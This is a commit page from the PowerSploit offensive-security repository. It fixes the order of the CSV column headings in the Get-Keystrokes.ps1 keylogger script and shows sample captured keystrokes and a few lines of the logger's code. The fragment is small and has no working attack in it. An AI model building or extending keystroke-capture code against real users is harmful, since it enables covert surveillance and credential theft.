diff options
author | Jonathan <wave@hydrajump.com> | 2015-05-10 21:32:14 +0200 |
---|---|---|
committer | Jonathan <wave@hydrajump.com> | 2015-05-10 21:32:14 +0200 |
commit | 0045054ab09323c7434035e5a7b6381ac5dc385f (patch) | |
tree | 8ac1bbd794bb5cfb08a83db00658150319776e9e /Exfiltration | |
parent | 5b1a7750c02a3939a35f933758029bb7d9145078 (diff) | |
download | PowerSploit-0045054ab09323c7434035e5a7b6381ac5dc385f.tar.gz PowerSploit-0045054ab09323c7434035e5a7b6381ac5dc385f.zip |
Fix for headings in wrong order
The column headings in the log file are out of order, e.g.
```
"TypedKey","Time","WindowTitle"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:28"
"Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:38"
```
The "WindowTitle" should be the first column heading like this,
```
"WindowTitle","TypedKey","Time"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:28"
"Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:38"
```
Diffstat (limited to 'Exfiltration')
-rw-r--r-- | Exfiltration/Get-Keystrokes.ps1 | 2 |
1 files changed, 1 insertions, 1 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 75400a1..8beaf75 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -49,7 +49,7 @@ function Get-Keystrokes { $Initilizer = { $LogPath = 'REPLACEME' - '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode + '"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode function KeyLog { [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null |